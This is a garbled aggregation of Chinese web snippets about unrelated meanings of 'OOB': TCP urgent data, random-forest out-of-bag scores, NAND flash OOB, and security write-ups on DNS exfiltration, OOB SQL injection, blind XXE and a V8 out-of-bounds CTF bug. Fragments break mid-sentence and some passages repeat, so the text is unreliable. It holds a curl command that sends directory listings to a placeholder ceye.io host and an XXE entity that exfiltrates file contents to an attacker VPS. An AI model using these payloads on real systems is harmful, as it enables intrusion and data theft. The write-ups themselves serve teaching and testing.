然后就没有然后了…… 毕业这么多年了，回想一下，还真是没有接触过 OOB 的场景，更没有实地发送、接收过 OOB。那么到底该怎样处理 OOB 呢？OOB 在所谓的紧急情况下是否有用呢？下面一一道来。...发送 OOB 首先产生 OOB 是非常简单的，只需要在寻常 send 的最后一个参数，加入 MSG_OOB 标志位： ret = send (sockfd, ptr, n, MSG_OOB); 如果考虑一个完整的测试场景...需要注意的是，目前只有 TCP 支持 OOB，UDP 没所谓顺序，更没所谓带内带外之分，所以也没有 OOB；另外 TCP 目前大多数实现只支持 1 字节 OOB，大于 1 字节的 OOB，只有最后一字节会被当为...接收 OOB 接收 OOB 共有三种方法。 1....使用 SO_OOBINLINE 标志位将 OOB 作为惯常数据处理 这种方法是将 OOB 数据当作惯常数据接收，在接收前通过判断哪些是普通数据哪些是 OOB 数据，具体步骤如下： a) 新连接建立时，设置套接字选项
这样payload.com的域名解析请求将由nameserver.com完成，同时将nameserver.com指向你的反连平台1.1.1.1
那可以截取段： 故此可以打出任意行，任意长度的信息 实战例题 题目来自安恒秋季赛决赛的python PIL 拿到题目后，先谷歌一波，搜到了CVE: GhostButt CVE-2017-8291 然后使用了...Ph牛的POC： https://github.com/vulhub/vulhub/blob/master/python/PIL-CVE-2017-8291/poc.png 阅读readme： 比如poc.png...乍一听可能比较难以理解，话不多说，我们直接从题目中学习： 实战演练 题目来自10月份的XCTF联赛中的HCTF，题目的破解正是应用了OOB（out of band），利用dns偷走数据 1.1 题目描述...you get}"; error_reporting(E_ALL^E_NOTICE^E_WARNING); try { $conn = new PDO( "sqlsr","oob...> 可以知道三个关键点: 第一点: try { $conn = new PDO( "sqlsr","oob", ""); } 使用了PDO，且提示了oob，其中PDO是可以堆叠执行sql的，oob
OOB SQL注入类型细分，分为以下5种： 共计3大类： 这篇文章的主题是out of band，即OOB。 它与我们熟知的inband类的注入相反。...17,720.51 Error-based 777 9.02 Union (full/partial) 3/136 0.70/2.50 DNS exfiltration 1,409 35.31 数据来源 我们的主角OOB...当你遇到了某些很隐蔽的注入点，inband类注入没办法用，inference类注入被你嫌弃太慢的时候，OOB就是你最好的选择了。...结语 实际上OOB的方法很多，但是大部分都是实战意义不高的技术。比如利用icmp和电子邮件或者http头来偷数据。如果有人有兴趣，我会全部写一遍的。
SatrCtf2019-oob 数组对象的结构 这里简单讲解一下做这一题需要的前置知识。 首先我们需要了解v8中的对象的结构，以一个Float数组Float_Array为例来讲解。...diff文件分析 有了以上的知识，我们就可以开始看我们的题目了，题目给了一个名叫oob.diff的文件，打开文件发现前面有一个名为SimpleInstallFunction的东西，结合网上对于JavaScript...API的资料可以分析出题目是自己实现了一个名为oob的函数，实现的具体细节在22-42行： +BUILTIN(ArrayOob){ + uint32_t len = args.length();.../test.js，然后run就行了： 可以看见我们图中的泄露出来的Map值是完全没有问题的，这里讲一下这部分的核心，也就是： var obj_hidden = obj_array.oob(); var...Fixed Array的下一个内存单元，存放的是Map，也就是说通过xxx.oob()，就可以泄露出相应的Map。
2.带外攻击（OOB） 服务器用来测试盲的各种漏洞的话，则需要我们外部的独立服务器参数，也就是带入了外部的服务器，我们叫它带外攻击。这里简单的提了一下这个带内和带外，我们只要理解其过程即可。...3.带外数据 传输层协议使用带外数据（out-of-band，OOB）来发送一些重要的数据，如果通信一方有重要的数据需要通知对方时，协议能够将这些数据快速地发送到对方。...OOB.jpg基本回显思路1.对于出网机器 使用http传输，如wget，curl，certutil将回显信息爬出 1.1 优点：方便，回显全。 ...cmd=curl http://XXXXXX.ceye.io/`ls -al |cut -c 3-10`4.burpsuit Collaborator Client模块回显（带外攻击OOB）打开 collaborator
几个星期以前，作者在某个OOB-XXE漏洞测试中遇到过这样一种场景：目标应用后端系统WAF防火墙阻挡了包含DNS解析在内的所有出站请求（Outgoing Request），但最终，通过利用php://filter...//的封装协议，作者成功实现了OOB-XXE漏洞测试。
就在前几天，Zero Day Initiative曾发布过六份关于苹果macOS中安全漏洞的公告，其中有一条公告涵盖了一个由 ABC Research s.r....
作者：Hcamael@知道创宇404实验室 相关阅读： 从 0 开始学 V8 漏洞利用之环境搭建（一） 从 0 开始学 V8 漏洞利用之 V8 通用利用链（二） 我是从starctf 2019的一道叫OOB.../starctf2019/pwn-OOB/oob.diff $ gclient sync -D $ gn gen out/x64_startctf.release --args='v8_monolithic.../starctf2019/pwn-OOB/oob.diff，就能使用build.sh 6dc88c191f5ecc5389dc26efa3ca0907faef3598 starctf2019一键编译。...漏洞点 源码我就不分析了，因为这题是人为造洞，在obb.diff中，给变量添加了一个oob函数，这个函数可以越界读写64bit。...浮点型数组的结构之前的文章说了，在value之后就是该变量的结构内存区域，所以使用a.oob()可以越界读64bit，就可以读写该变量的map地址，并且在该版本中，地址并没有被压缩，是64bit。
OOB 本小节来介绍更多和 Bagging 相关的内容，首先对于 Bagging 这种集成学习来说，有一个非常重要的概念叫做 OOB(Out-of-Bag)。...这 37% 的样本通常被称为 OOB(Out-of-Bag)。...此时为 True，即采用有放回 Bagging 的方式； oob_score：是否使用 OOB，默认为 False，不使用 OOB。...此时为 True，即使用 OOB； 在 sklearn 中使用 OOB，除了需要使用 Bagging 集成学习的方式(boostrap = True)之外，还需要在实例化集成学习时指定 oob_score...References： Python3入门机器学习 经典算法与应用: https://coding.imooc.com/class/chapter/169.html#Anchor
OOB 本小节来介绍更多和 Bagging 相关的内容，首先对于 Bagging 这种集成学习来说，有一个非常重要的概念叫做 OOB(Out-of-Bag)。...这 37% 的样本通常被称为 OOB(Out-of-Bag)。...此时为 True，即采用有放回 Bagging 的方式； oob_score：是否使用 OOB，默认为 False，不使用 OOB。...此时为 True，即使用 OOB； 在 sklearn 中使用 OOB，除了需要使用 Bagging 集成学习的方式(boostrap = True)之外，还需要在实例化集成学习时指定 oob_score...bagging_clf.oob_score_ # 0.918 Bagging 的并行化处理 Bagging 这种集成学习的方式是极易进行并行化处理的。
今天，我要和大家分享的是，我在某个邀请漏洞测试项目中，发现Bind OOB XXE漏洞的方法。由于涉及隐私，以下文章中涉及网站域名的部分我已作了编辑隐藏，敬请见谅。...xxe-ftp-server.rb脚本应用 由于该系统使用了java框架，而俄罗斯OnSec实验室曾针对Java程序的XXE-OOB攻击作出了相关研究，并给出相应的payload，以及一个通过ftp服务读取系统目录的漏洞利用脚本...xxe-ftp-server.rb，运行该脚本后，8088端口作为http服务端负责获取OOB攻击payload，而8077端口用于ftp连接服务，最终能成功读取到目标系统目录： ?
目录 XXE XXE漏洞演示利用(任意文件读取) Blind OOB XXE 目录浏览和任意文件读取 端口扫描 远程代码执行 XXE漏洞的挖掘 XXE的防御 ---- 在学习...遇到这种情况，可以实现OOB(out-of-band)信息传递和通过构造dtd从错误信息获取数据。无论是OOB、还是基于错误的方式，都需要引入外部DTD文件。...OOB(Out-Of-Band)：我们可以使用 Blind XXE 漏洞来构建一条外带数据OOB(Out-Of-Band)通道来读取数据。...ENTITY % send SYSTEM 'http://VPS的地址:2121/%file;'>"> %all; 然后在VPS上用python在2121端口起另一个http服务 POST...DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false); Python
这其中： n_estimators，随机森林中决策树的个数； oob_socre，是否使用 oob 的那些样本对整个集成学习模型进行评估； random_state，随机种子。...rf_clf.oob_score_ # 0.892 Extra-Trees Extra-Trees (Extremely randomized trees，极度随机树) 方法和随机森林非常相似，有时也会将...使用 oob 样本对集成学习模型进行评估。...et_clf.oob_score_ # 0.892 集成学习解决回归问题 前面介绍了很多集成学习方法，不过在具体实例中，解决的都是分类问题，其实集成学习也是能够解决回归问题的。...References： Python3入门机器学习 经典算法与应用: https://coding.imooc.com/class/chapter/169.html#Anchor
2 随机森林的特点 3 随机森林的相关基础知识 4 随机森林的生成 5 袋外错误率（oob error） 6 随机森林工作原理解释的一个简单例子 7 随机森林的Python实现 8 参考内容 1 什么是随机森林...你可以在这找到用python实现集成学习的文档：Scikit 学习文档。 4 随机森林的生成 前面提到，随机森林中有许多的分类树。...5 袋外错误率（oob error） 上面我们提到，构建随机森林的关键问题就是如何选择最优的m，要解决这个问题主要依据计算袋外错误率oob error（out-of-bag error）。 ...； 3）最后用误分个数占样本总数的比率作为随机森林的oob误分率。 ...7 随机森林的Python实现 利用Python的两个模块，分别为pandas和scikit-learn来实现随机森林。
rval = nand->write_oob(nand, offset, &ops); //调用nand_write_oob()函数烧写OOB if (!...将上面的MTD_OOB_AUTO改为MTD_OOB_RAW (表示支持烧写OOB数据,用来存放yaffs参数) 因为MTD_OOB_AUTO,使自动填入OOB,不填入yaffs文件里的数据,从而启动不了内核...rval) 改为if (rval) 因为nand->write_oob()函数里面,烧写正确时,是返回的一个非整数. ...然后使用nand dump 260000,与yaffs文件对比,可以看到OOB已经烧写成功 ? ...oob数据,若是yaffs文件,则会存放yaffs参数,所以才要修改1.2小节的代码 bit40~63:存放ecc校验值,该页的每256B字节,就会生成3字节数据存放到ecc里 具体参考nand_oob
sklearn中的RandomForestClassifier有一个参数: oob_score : bool (default=False) Whether to use out-of-bag samples...中文叫‘袋外误差’，可以看出这个参数的意思是：使用oob来衡量test error....关于oob的解释，stackoverflow上有比较全面的解释：OOB的解释 说下自己的理解： RF需要从原始的特征集中随机sampling，然后去分裂生成单颗树....意思就是，oob是test error的一个无偏估计....参考 stackoverflow上OOB的解释 sklearn上OOB的解释
python字符串的基础操作 1、字符串可以进行赋值。...xxxx' str1="xxxx" 如果特殊字符，需要使用反斜杠来进行转义， 例：str="xxx\nccc" print(str) //输出是两行，第一行是Ru，第二行是oob...例： a="abcdefg" print(a+"123") //输出是abcdefg123 print(a*2) //输出是abcdefgabcdefg 4、python的字符串是不可变的...以上就是python字符串的基础操作，希望对大家有所帮助。更多Python学习指路：python基础教程 本文教程操作环境：windows7系统、Python 3.9.1，DELL G3电脑。
ops.mode = MTD_OOB_AUTO; //这里需要修改 ... ......rval = nand->write_oob(nand, offset, &ops); //调用nand_write_oob()函数烧写OOB if (!...MTD_OOB_AUTO改为MTD_OOB_RAW (表示支持烧写OOB数据,用来存放yaffs参数) 因为MTD_OOB_AUTO,使自动填入OOB,不填入yaffs文件里的数据,从而启动不了内核 3...rval) 改为if (rval) 因为nand->write_oob()函数里面,烧写正确时,是返回的一个非整数. 1.3然后使用nand dump 260000,与yaffs文件对比,可以看到OOB...对于64B的OOB而言,数据定义如下所示: bit0:表示该块的数据是否为坏,若为0xFF表示好的,0x00则是坏的 （一块=64页） bit1:暂时没用到 bit2~39:表示用来存放oob数据,若是
Relief算法python实现:https://blog.csdn.net/qq_40871363/article/details/86511843 2、包裹法（Wrapper） 2.1 递归特征消除法...以随机森林为例： 对随机森林中的每一颗决策树，用OOB（袋外数据）计算误差errOOB1; 对OOB所有样本特征X加上噪声干扰，再次计算误差errOOB2; N棵树，特征X的重要性= 若某个特征加上噪声后...sklearn中会对每个特征赋予一个分数，分数越大，特征越重要，因此，可以根据特征重要性排序，然后选择最佳特征组合； RandomForestClassifier(n_estimators=200,oob_score...=True) oob_score : bool (default=False) Whether to use out-of-bag samples to estimate the generalization...oob_score: bool(默认=False) 是否使用袋外样品进行估算 泛化精度。 3、嵌入法（Embedded） 嵌入特征选择方法和算法本身紧密结合，在模型训练过程中完成特征选择。
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